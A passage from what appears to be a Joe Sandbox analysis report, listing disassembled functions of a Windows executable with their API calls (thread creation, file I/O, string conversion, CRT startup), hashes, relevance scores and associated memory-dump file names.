Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 202ca0dbb777a082bc5ea6dd3ee882e1ba86617a9869b5a7865a3a02ab6cd1fb
Instruction ID: 13e85b588cead11754e8309f7ea904573223d9278a88c9d92fdfa516f74daafa
Opcode Fuzzy Hash: 202ca0dbb777a082bc5ea6dd3ee882e1ba86617a9869b5a7865a3a02ab6cd1fb
Instruction Fuzzy Hash: 50F01235B7055182FB94DB24E895B9A2360FBE4B45F801429AA4B41859DF28C70ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B11A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 000000013F2B11C9
SHAutoComplete.SHLWAPI ref: 000000013F2B120D

Part of subcall function 000000013F2A6B34: CompareStringW.KERNEL32 ref: 000000013F2A6B53

FindWindowExW.USER32 ref: 000000013F2B11F7

Strings

EDIT, xrefs: 000000013F2B11D3, 000000013F2B11EB

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: e21d80ba2fcda0afe61ee5e138a94cc6b7d8cc84eeae1a0dd95cd5f916355b23
Instruction ID: fec964bbcb9e3ea3394cfc5b03c0d91128ec825c188cdd25edb75fb84257233b
Opcode Fuzzy Hash: e21d80ba2fcda0afe61ee5e138a94cc6b7d8cc84eeae1a0dd95cd5f916355b23
Instruction Fuzzy Hash: 09013C31B11A46C1FE649B21E8257D763A4BB98785F88103A8D5E4769ADE2CC64AC610

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B700C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 000000013F2B701B

Part of subcall function 000000013F2B6D00: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 000000013F2B6D22

__scrt_acquire_startup_lock.LIBCMT ref: 000000013F2B7030
__scrt_release_startup_lock.LIBCMT ref: 000000013F2B709E
__scrt_get_show_window_mode.LIBCMT ref: 000000013F2B70F1

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: a3f69c83429b0ae4a0281d99947e56bbaeef1c09745b8a4fe67f7e7d88935c27
Instruction ID: e432617c247d7b1619ac0601cba9e8e1d81409e2e920f4f346f8d76c036a3f2a
Opcode Fuzzy Hash: a3f69c83429b0ae4a0281d99947e56bbaeef1c09745b8a4fe67f7e7d88935c27
Instruction Fuzzy Hash: 28316B31E10A49C6FE24ABA5D4123EB2391AB41784F44443DAE4A9B3E3DE29CF07C311

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C7F4 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000000013F29C81C
ReadFile.KERNELBASE ref: 000000013F29C83B
GetLastError.KERNEL32 ref: 000000013F29C86F
GetLastError.KERNEL32 ref: 000000013F29C88E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: a323257c6cd013e66bdbc91a7b513783e4ef1c7ac85a55a09a4dd0f8fb45d599
Instruction ID: af0350cc7197373ebc9a0f61a23309ee45d7396ea2f2100d50d7cda61e2e7b71
Opcode Fuzzy Hash: a323257c6cd013e66bdbc91a7b513783e4ef1c7ac85a55a09a4dd0f8fb45d599
Instruction Fuzzy Hash: 38210631E84641C6EB619B61E40439B63A0F747FD8F24453DDA5547BC8CB38CA63C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 000000013F2A59CC
SetThreadPriority.KERNEL32 ref: 000000013F2A5A22

Strings

CreateThread failed, xrefs: 000000013F2A59DA

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: dd105b4aed30a7a80ca3141c297ce4f78b67ecdfe065c40b3858bd4ccbe00e44
Instruction ID: 55f11a0905932f060c1eb52e576912fdd7cd385eafc509c63636a863fb667d73
Opcode Fuzzy Hash: dd105b4aed30a7a80ca3141c297ce4f78b67ecdfe065c40b3858bd4ccbe00e44
Instruction Fuzzy Hash: CF113A32A05A40D5EB14DF11F8413EB7370FB94B94F944539EA9D06669EF38C69BC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C3BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNELBASE(?,?,00000003,000000013F2C2E01), ref: 000000013F2C3C28
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000003,000000013F2C2E01), ref: 000000013F2C3C31

Strings

InitializeCriticalSectionEx, xrefs: 000000013F2C3BEB, 000000013F2C3BFE

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID: InitializeCriticalSectionEx
API String ID: 4156364057-3084827643
Opcode ID: 3bfe44b4e398cc72f4bfbb6fb9ca8bb495d2729b43e064872847738103cfe905
Instruction ID: 87d4bf3f54e340d44b8a86c8b2f740b85f5378088100d26c5d12d119f2c62d95
Opcode Fuzzy Hash: 3bfe44b4e398cc72f4bfbb6fb9ca8bb495d2729b43e064872847738103cfe905
Instruction Fuzzy Hash: 15F04435B05B84C2EB149B96B4907EAB361B788BD0F945439EE5907B55DE38CA47C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B13A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2A4F90: GetSystemDirectoryW.KERNEL32 ref: 000000013F2A4FBE

OleInitialize.OLE32 ref: 000000013F2B13BA
SHGetMalloc.SHELL32 ref: 000000013F2B1408

Strings

riched20.dll, xrefs: 000000013F2B13A9

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 576aa923d4f2c94d55e25542df80ba896531a05855d0ef1d935fe05f3d3d4a5b
Instruction ID: 9454f1e51a95b26f9c20bceb8f18893ca1ffabf93e0dab369bd7b3d4eb842df3
Opcode Fuzzy Hash: 576aa923d4f2c94d55e25542df80ba896531a05855d0ef1d935fe05f3d3d4a5b
Instruction Fuzzy Hash: 94F04971A14A45C2EB409F60F40539AB7A0F798354F80013AEA8E42AA8DF7CC24ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C340C Relevance: 4.7, APIs: 3, Instructions: 238COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000000013F2C3493
MultiByteToWideChar.KERNEL32 ref: 000000013F2C3558
WideCharToMultiByte.KERNEL32 ref: 000000013F2C36E8

Part of subcall function 000000013F2C1C94: RtlAllocateHeap.NTDLL ref: 000000013F2C1CD2

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeap
String ID:
API String ID: 2584219951-0
Opcode ID: aa68cc1c79c702716038aa117c22782f6525d494205ed7a6e78d6060a6e5c0ca
Instruction ID: 4ec0b590aa90dd30166aae11dc4d27249fa2905eec39fa6202c297f69aa71a15
Opcode Fuzzy Hash: aa68cc1c79c702716038aa117c22782f6525d494205ed7a6e78d6060a6e5c0ca
Instruction Fuzzy Hash: EFA19473B11784C6FF648FA1D4807EA66D1F744BA8F144639DA5947BC4EB7CCA468700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A821C Relevance: 4.7, APIs: 3, Instructions: 214COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2A82F1
std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2A830D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: fc112ee4d207ffad2fb21066cd2db9b9facacedc8c519ca59976cf9ddc942590
Instruction ID: 2baaa49f44f3c53dec30d737ae6d643661a6baf915f71f7d8ff55c6a4dd94a19
Opcode Fuzzy Hash: fc112ee4d207ffad2fb21066cd2db9b9facacedc8c519ca59976cf9ddc942590
Instruction Fuzzy Hash: 89818A72A01A80C5FF64DE22E6543EA6761F754B84F584539EF8917B99DF38CA8B8300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D0F4 Relevance: 4.6, APIs: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,00000000,?,?,000000013F2A125A,?,?,?,000000013F2AAD3D), ref: 000000013F29D12E
WriteFile.KERNEL32 ref: 000000013F29D178
WriteFile.KERNELBASE ref: 000000013F29D1A5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a970b05bbadaef60ae85348f850f653ba86195160c7e1160da1fe296ddd01ded
Instruction ID: 741aca451ebc5a6e0bc967a9264cec7cbca7559b84d2373e39e8d1cc63f7f9de
Opcode Fuzzy Hash: a970b05bbadaef60ae85348f850f653ba86195160c7e1160da1fe296ddd01ded
Instruction Fuzzy Hash: E441B337A14A91D3EB14DF25E9143EB6361F744BD8F944129DF8947AA4CB38C6ABC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D6EC Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000001,00000001,?,000000013F29D343,00000001,?,?,000000013F2991EB), ref: 000000013F29D734
CreateDirectoryW.KERNEL32(00000001,00000001,?,000000013F29D343,00000001,?,?,000000013F2991EB), ref: 000000013F29D769
GetLastError.KERNEL32(00000001,00000001,?,000000013F29D343,00000001,?,?,000000013F2991EB), ref: 000000013F29D786

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: c509ee56912e0ed8a096a77351797c46b0935274de5d5c8b26b24dc22b5557b9
Instruction ID: 3ad95b7b9b01d9259c9e51149fa0bc1d68eb22d756d59d3e07b396a4538e4023
Opcode Fuzzy Hash: c509ee56912e0ed8a096a77351797c46b0935274de5d5c8b26b24dc22b5557b9
Instruction Fuzzy Hash: 1D210632E04680C1FB70AB2199913FF6391AB84BD4F884039EDC9476D5DF68CB979601

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C0408 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,000000013F2C03EC), ref: 000000013F2C0430
TerminateProcess.KERNEL32(?,?,?,000000013F2C03EC), ref: 000000013F2C043B
ExitProcess.KERNEL32 ref: 000000013F2C044A

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d7b4fcf76b33b70473447b9cedc717a565b400a7f64c403ea979d858785ee2ed
Instruction ID: 928f716595e87efefbd9047e3b0a5550d42a54d915cd6467ef6ccf8f80a82686
Opcode Fuzzy Hash: d7b4fcf76b33b70473447b9cedc717a565b400a7f64c403ea979d858785ee2ed
Instruction Fuzzy Hash: 4DE09234A40784C6EE64ABE198857EB2252AB88F51F00553C884A473A6CE79CA8A9251

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C483C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 000000013F2C4872

Strings

, xrefs: 000000013F2C48B7

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: bac15ddce867e0a1e863a11a7079234ebc720208b27a2c3926ac389e887c3f34
Instruction ID: 33becc587e82adbe01fa3c8b97be28627d8c8d0dfd7a769625a105c84ae3edde
Opcode Fuzzy Hash: bac15ddce867e0a1e863a11a7079234ebc720208b27a2c3926ac389e887c3f34
Instruction Fuzzy Hash: 0451A273A186C0DAEB21CF68D4847DF7BE0F349748F54422AE78A47A95CB79C246CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C3C4C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000013F2C3D1A

Strings

LCMapStringEx, xrefs: 000000013F2C3C6D, 000000013F2C3C7E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 5d073a4e4967c53e4fdea12f10cbe79f234ad7d242897dfe62e5c8c1aae1208e
Instruction ID: c4981bf23920abcd6fc22855ba5436bb12dda6282638d396fd404fc8166ef3bd
Opcode Fuzzy Hash: 5d073a4e4967c53e4fdea12f10cbe79f234ad7d242897dfe62e5c8c1aae1208e
Instruction Fuzzy Hash: F1211D36A04B84C2DB60CB96F44079AB7A4F7C9BD4F54412AEE8D43B58DF38C546CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C3A64 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?,000000013F2C1A30), ref: 000000013F2C3AA8

Strings

FlsAlloc, xrefs: 000000013F2C3A71, 000000013F2C3A84

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: a89b237745e0d7d470ae71efd18b08e7c894025422ac15fd9befea38652e41f5
Instruction ID: 0824b59955739a8bd1bf3e69b1ad2c4efbea809531b3ed2c868a2f0226a87102
Opcode Fuzzy Hash: a89b237745e0d7d470ae71efd18b08e7c894025422ac15fd9befea38652e41f5
Instruction Fuzzy Hash: B6E06D31A02B85D1FE159BD2F5A07EA2360AB49B94F445439E9190B790EE38CA97C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C4CC8 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2C472C: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,000000013F2C4A49,?,?,?,?,?,?,?,000000013F2C4BF9), ref: 000000013F2C4756

IsValidCodePage.KERNEL32(?,?,?,00000000,?,00000000,00000001,000000013F2C4AFC,?,?,?,?,?,?,?,000000013F2C4BF9), ref: 000000013F2C4D42
GetCPInfo.KERNEL32(?,?,?,00000000,?,00000000,00000001,000000013F2C4AFC,?,?,?,?,?,?,?,000000013F2C4BF9), ref: 000000013F2C4D57

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
